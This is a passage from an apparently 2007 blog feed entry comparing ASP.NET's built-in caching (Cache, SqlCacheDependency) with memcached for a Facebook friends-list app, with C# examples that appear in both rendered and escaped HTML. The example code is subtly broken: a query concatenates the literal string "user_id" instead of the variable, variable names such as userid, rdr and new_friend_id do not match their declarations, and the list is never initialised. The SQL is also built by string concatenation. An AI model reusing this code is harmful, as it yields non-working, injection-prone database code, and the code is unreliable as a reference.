class</a> which provides a similar API to <a href="http://www.danga.com/memcached">memcached</a>,
page directives for <a href="http://msdn2.microsoft.com/en-us/library/h30h475z%28VS.80%29.aspx">caching
portions of the page or the entire page</a> and the ability to create dependencies
between cached objects and the files or database tables/rows that they were populated
from via the <a href="http://msdn2.microsoft.com/en-us/library/system.web.caching.cachedependency%28VS.80%29.aspx">CacheDependency</a> and <a href="http://msdn2.microsoft.com/en-us/library/ms178604%28VS.80%29.aspx">SqlCacheDependency</a> classes.
Although some of these features are also available in various Open Source web development
frameworks such as <a href="http://wiki.rubyonrails.com/rails/pages/MemCached">Ruby
on Rails + memcached</a>, none give as much functionality out of the box as ASP.NET
or <i>so it seems</i>. 
</p>
        <p>
Below is what the code for the <code>GetFriends</code> and <code>AddFriend</code> methods
would look like using the built-in ASP.NET caching features 
</p>
        <blockquote>
          <p>
            <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">
              <span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">public</span> ArrayList
GetFriends(<span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">int</span> user_id){<br /><br />
    ArrayList friends <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> (ArrayList)
Cache.Get(<span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"friendslist:"</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span> userid);<br /><br /><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">   
if</span>(friends == <span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">null</span>){<br /><span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;">   
    // Open the connection</span><br />
        dbConnection.Open();<br /><br />
        SqlCommand cmd <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">new</span> SqlCommand(<span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"select
friend_id from friends_list where owner_id="</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span><span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"user_id"</span>,
dbConnection);<br /><br />
        SqlCacheDependency dependency <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"> new</span> SqlCacheDependency(cmd);<br />
        SqlDataReader reader <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span> cmd.ExecuteReader();<br /><br /><span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;">   
    // Add each friend ID to the list</span><br /><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">   
    while</span> (reader.Read()){<br />
            friends.Add(rdr[0]);<br />
        }<br /><br />
        reader.Close();<br />
        dbConnection.Close(); 
<br /><br /><span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;">   
    //insert friends list into cache with associated dependency</span><br />
        Cache.Insert(<span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"friendslist:"</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span> userid,
friends, dependency);<br />
    }<br /><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">   
return</span> friends;<br />
 }</span>
          </p>
          <p>
            <span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;">
              <span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">public</span>
              <span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">void</span> AddFriend(<span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">int</span> user_id, <span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">int</span> new_friends_id){<br /><span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;">   
// Open the connection</span><br />
    dbConnection.Open();<br /><br />
    SqlCommand cmd <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">=</span><span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;">new</span> SqlCommand(<span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">"insert
into friends_list (owner_id, friend_id) values ("</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span> user_id <span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span><span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">","</span><span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;">+</span> new_friend_id <span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;">")"</span>;<br />
    cmd.ExecuteNonQuery();<br /><br /><span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;">   
/* no need to remove from cache because SqlCacheDependency takes care of that automatically
*/</span><br /><span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;">   
// Cache.Remove("friendslist:" + userid);</span><br /><br />
    dbConnection .Close(); 
<br />
}</span>
          </p>
        </blockquote>
        <p>
Using the <a href="http://msdn2.microsoft.com/en-us/library/system.web.caching.sqlcachedependency%28VS.80%29.aspx">SqlCacheDependency</a> class
gets around a significant limitation of the ASP.NET <a href="http://msdn2.microsoft.com/en-us/library/6hbbsfk6%28VS.80%29.aspx">Cache
class</a>. Specifically, the cache is <b>not</b> distributed. This means that if you
have multiple Web front ends, you'd have to write your own code to handle partitioning
data and invalidating caches across your various Web server instances. In fact, there
are numerous articles showing how to implement such a solution including <a href="http://www.eggheadcafe.com/articles/20030420.asp">Synchronizing
the ASP.NET Cache across AppDomains and Web Farms</a> by Peter Bromberg and <a href="http://msdn.microsoft.com/msdnmag/issues/02/12/WebFarms/default.aspx">Use
Data Caching Techniques to Boost Performance and Ensure Synchronization</a> by David
Burgett. 
</p>
        <p>
However, let's consider how <a href="http://msdn2.microsoft.com/en-us/library/ms178604%28VS.80%29.aspx">how
SqlCacheDependency is implemented</a>. If you are using SQL Server 7 or SQL Server
2000, then your ASP.NET process polls the database at regular intervals to determine
whether the target(s) of the original query have changed. For SQL Server 2005, the
database can be configured to send change notifications to the Web servers if the
target(s) of the original query change. Either way, the database is doing work to
determine if the data has changed. Compared to the <a href="http://www.danga.com/memcached">memcached</a> this
still doesn't seem as efficient as we can get if we want to eke out every last out
of performance out of the system although it does lead to simpler code. 
</p>
        <p>
If you are a developer on the 
<abbr title="Windows IIS SQL-Server C#">
WISC
</abbr>
platform and are concerned about getting the best performance out of your Web site,
you should take a look at <a href="http://jehiah.cz/projects/memcached-win32/">memcached
for Win32</a>. The most highly trafficked site on the 
<abbr title="Windows IIS SQL-Server C#">
WISC
</abbr>
platform is probably <a href="http://www.myspace.com">MySpace</a> and in articles
about how they are platform works such as <a href="http://www.baselinemag.com/article2/0,1540,2082927,00.asp">Inside
MySpace.com</a> they extol the virtues of moving work out of the database and relying
on cache servers. 
</p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=3109dc37-49f8-4249-baf1-56d4c6158321" />
      </body>
      <title>ASP.NET Caching vs. memcached: Seeking Efficient Data Partitioning, Lookup, and Retrieval </title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,3109dc37-49f8-4249-baf1-56d4c6158321.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/07/05/ASPNETCachingVsMemcachedSeekingEfficientDataPartitioningLookupAndRetrieval.aspx</link>
      <pubDate>Thu, 05 Jul 2007 02:15:46 GMT</pubDate>
      <description>&lt;p&gt;
In my previous post, I mentioned that I'm in the early stages of building an application
on the &lt;a href="http://developer.facebook.com/"&gt;Facebook platform&lt;/a&gt;. I haven't yet
decided on an application but for now, let's assume that it is a &lt;b&gt;Favorite Comic
Books application&lt;/b&gt; which allows me to store my favorite comic books and shows me
to most popular comic books among my friends. 
&lt;/p&gt;
&lt;p&gt;
After investigating using Amazon's &lt;a href="http://www.amazon.com/ec2"&gt;EC2&lt;/a&gt; + &lt;a href="http://www.amazon.com/s3"&gt;S3&lt;/a&gt; to
build my application I've decided that I'm better off using a traditional hosting
solution running either a on the 
&lt;abbr title="Linux Apache MySQL Perl/PHP/Python"&gt;
LAMP
&lt;/abbr&gt;
or 
&lt;abbr title="Windows IIS SQL-Server C#"&gt;
WISC
&lt;/abbr&gt;
platform. One of the things I've been looking at is which platform has better support
for providing an in-memory caching solution that works well in the context of a Web
farm (i.e. multiple Web servers) out of the box. While working on the platforms behind
several high traffic Windows Live services I've learned&amp;nbsp; that you should be &lt;i&gt;prepared&lt;/i&gt; for
dealing with scalability issues &lt;b&gt;and &lt;/b&gt;caching is one of the best ways to get
bang for the buck when improving the scalability of your service. 
&lt;/p&gt;
&lt;p&gt;
I recently discovered &lt;a href="http://www.danga.com/memcached"&gt;memcached&lt;/a&gt; which
is a distributed, object caching system originally developed by &lt;a href="http://brad.livejournal.com/"&gt;Brad
Fitzpatrick&lt;/a&gt; of &lt;a href="http://www.livejournal.com"&gt;LiveJournal&lt;/a&gt; fame. You
can think of &lt;a href="http://www.danga.com/memcached"&gt;memcached&lt;/a&gt; as a giant hash
table that can run on multiple servers which automatically handles maintaining the
balance of objects hashed to each server and transparently fetches/removes objects
from over the network if they aren't on the same machine that is accessing an object
in the hash table. Although this sounds fairly simple, there is a lot of grunt work
in building a distributed object cache which handles data partitioning across multiple
servers and hides the distributed nature of the application from the developer. &lt;a href="http://www.danga.com/memcached"&gt;memcached&lt;/a&gt; is
a well integrated into the typical 
&lt;abbr title="Linux Apache MySQL Perl/PHP/Python"&gt;
LAMP
&lt;/abbr&gt;
stack and is used by a surprising number of high traffic websites including &lt;a href="http://lists.danga.com/pipermail/memcached/2003-July/000017.html"&gt;Slashdot&lt;/a&gt;, &lt;a href="http://lists.danga.com/pipermail/memcached/2007-May/004098.html"&gt;Facebook&lt;/a&gt;, &lt;a href="http://lists.danga.com/pipermail/memcached/2006-June/002384.html"&gt;Digg&lt;/a&gt;, &lt;a href="http://lists.danga.com/pipermail/memcached/2005-November/001726.html"&gt;Flickr&lt;/a&gt; and &lt;a href="http://meta.wikimedia.org/wiki/Cache_strategy"&gt;Wikipedia&lt;/a&gt;.
Below is what C# code that utilizes &lt;a href="http://www.danga.com/memcached"&gt;memcached&lt;/a&gt; would
look like sans exception handling code 
&lt;br&gt;
&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; ArrayList
GetFriends(&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;int&lt;/span&gt; user_id){&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ArrayList friends &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; (ArrayList)
myCache.Get(&lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"friendslist:"&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; userid); 
&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
if&lt;/span&gt;(friends == &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;null&lt;/span&gt;){&lt;br&gt;
&lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp; // Open the connection&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; dbConnection.Open();&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; SqlCommand cmd &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; SqlCommand(&lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"select
friend_id from friends_list where owner_id="&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"user_id"&lt;/span&gt;,
dbConnection);&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; SqlDataReader reader &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; cmd.ExecuteReader();&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;
&amp;nbsp; &amp;nbsp;&amp;nbsp; // Add each friend ID to the list&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp; while&lt;/span&gt; (reader.Read()){&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; friends.Add(rdr[0]);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;/span&gt;
&lt;/p&gt;
&lt;pre style="font-size: 11px; font-family: Courier New;"&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; reader.Close();&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; dbConnection.Close();&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp; &lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; &lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp; myCache.Set(&lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"friendslist:"&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; userid,
friends); 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } 
&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
return&lt;/span&gt; friends; 
&lt;br&gt;
}&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; AddFriend(&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;int&lt;/span&gt; user_id, &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;int&lt;/span&gt; new_friends_id){&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
// Open the connection&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dbConnection.Open();&lt;br&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;pre style="font-size: 11px; font-family: Courier New;"&gt;&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; SqlCommand
cmd &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; SqlCommand(&lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"insert
into friends_list (owner_id, friend_id) values ("&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; user_id &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;","&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; new_friend_id &lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;")"&lt;/span&gt;;&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp; cmd.ExecuteNonQuery();&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; &lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
//remove key from cache since friends list has been updated&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; myCache.Delete(&lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"friendslist:"&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; userid); 
&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
dbConnection .Close();&amp;nbsp; 
&lt;br&gt;
}&lt;/span&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
The benefits of the using of the cache should be pretty obvious. I no longer need
to hit the database after the first request to retrieve the user's friend list which
means faster performance in servicing the request and less I/O.&amp;nbsp; The &lt;a href="http://www.danga.com/memcached"&gt;memcached&lt;/a&gt; automatically
handles purging items out of the cache when it hits the size limit and also deciding
which cache servers should hold individual key&amp;lt;-&amp;gt;value pairs. 
&lt;br&gt;
&lt;/p&gt;
&lt;p&gt;
I hang with a number of Web developers on the 
&lt;abbr title="Windows IIS SQL-Server C#"&gt;
WISC
&lt;/abbr&gt;
platform and I don't think I've ever heard anyone mention &lt;a href="http://www.danga.com/memcached"&gt;memcached&lt;/a&gt; or
anything like it.In fact I couldn't find a mention of it on &lt;a href="http://search.live.com/results.aspx?q=site%3Ablogs.msdn.com+memcached&amp;amp;mkt=en-us&amp;amp;FORM=LIVSOP&amp;amp;go.x=0&amp;amp;go.y=0&amp;amp;go=Search"&gt;Microsoft
employee blogs&lt;/a&gt;, &lt;a href="http://search.live.com/results.aspx?q=site%3Aweblogs.asp.net+memcached&amp;amp;go.x=0&amp;amp;go.y=0&amp;amp;form=QBRE"&gt;ASP.NET
developer blogs&lt;/a&gt; or on &lt;a href="http://search.live.com/results.aspx?q=site%3Amsdn.microsoft.com+memcached&amp;amp;go.x=0&amp;amp;go.y=0&amp;amp;form=QBNO"&gt;MSDN&lt;/a&gt;.
So I wondered what the average 
&lt;abbr title="Windows IIS SQL-Server C#"&gt;
WISC
&lt;/abbr&gt;
developer uses as their in-memory caching solution. 
&lt;/p&gt;
&lt;p&gt;
After looking around a bit, I came to the conclusion that most 
&lt;abbr title="Windows IIS SQL-Server C#"&gt;
WISC
&lt;/abbr&gt;
developers use the built-in &lt;a href="http://msdn2.microsoft.com/en-us/library/xsbfdd8c%28vs.80%29.aspx"&gt;ASP.NET
caching features&lt;/a&gt;. ASP.NET provides a number of in-memory caching features including
a &lt;a href="http://msdn2.microsoft.com/en-us/library/6hbbsfk6%28VS.80%29.aspx"&gt;Cache
class&lt;/a&gt; which provides a similar API to &lt;a href="http://www.danga.com/memcached"&gt;memcached&lt;/a&gt;,
page directives for &lt;a href="http://msdn2.microsoft.com/en-us/library/h30h475z%28VS.80%29.aspx"&gt;caching
portions of the page or the entire page&lt;/a&gt; and the ability to create dependencies
between cached objects and the files or database tables/rows that they were populated
from via the &lt;a href="http://msdn2.microsoft.com/en-us/library/system.web.caching.cachedependency%28VS.80%29.aspx"&gt;CacheDependency&lt;/a&gt; and &lt;a href="http://msdn2.microsoft.com/en-us/library/ms178604%28VS.80%29.aspx"&gt;SqlCacheDependency&lt;/a&gt; classes.
Although some of these features are also available in various Open Source web development
frameworks such as &lt;a href="http://wiki.rubyonrails.com/rails/pages/MemCached"&gt;Ruby
on Rails + memcached&lt;/a&gt;, none give as much functionality out of the box as ASP.NET
or &lt;i&gt;so it seems&lt;/i&gt;. 
&lt;/p&gt;
&lt;p&gt;
Below is what the code for the &lt;code&gt;GetFriends&lt;/code&gt; and &lt;code&gt;AddFriend&lt;/code&gt; methods
would look like using the built-in ASP.NET caching features 
&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; ArrayList
GetFriends(&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;int&lt;/span&gt; user_id){&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ArrayList friends &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; (ArrayList)
Cache.Get(&lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"friendslist:"&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; userid);&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
if&lt;/span&gt;(friends == &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;null&lt;/span&gt;){&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp; // Open the connection&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; dbConnection.Open();&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; SqlCommand cmd &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; SqlCommand(&lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"select
friend_id from friends_list where owner_id="&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"user_id"&lt;/span&gt;,
dbConnection);&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; SqlCacheDependency dependency &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt; new&lt;/span&gt; SqlCacheDependency(cmd);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; SqlDataReader reader &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; cmd.ExecuteReader();&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp; // Add each friend ID to the list&lt;/span&gt;
&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp; while&lt;/span&gt; (reader.Read()){&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; friends.Add(rdr[0]);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; reader.Close();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; dbConnection.Close(); 
&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp; //insert friends list into cache with associated dependency&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; Cache.Insert(&lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"friendslist:"&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; userid,
friends, dependency);&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
return&lt;/span&gt; friends;&lt;br&gt;
&amp;nbsp;}&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;span style="color: Black; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;public&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;void&lt;/span&gt; AddFriend(&lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;int&lt;/span&gt; user_id, &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;int&lt;/span&gt; new_friends_id){&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
// Open the connection&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dbConnection.Open();&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; SqlCommand cmd &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;=&lt;/span&gt; &lt;span style="color: Blue; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;new&lt;/span&gt; SqlCommand(&lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;"insert
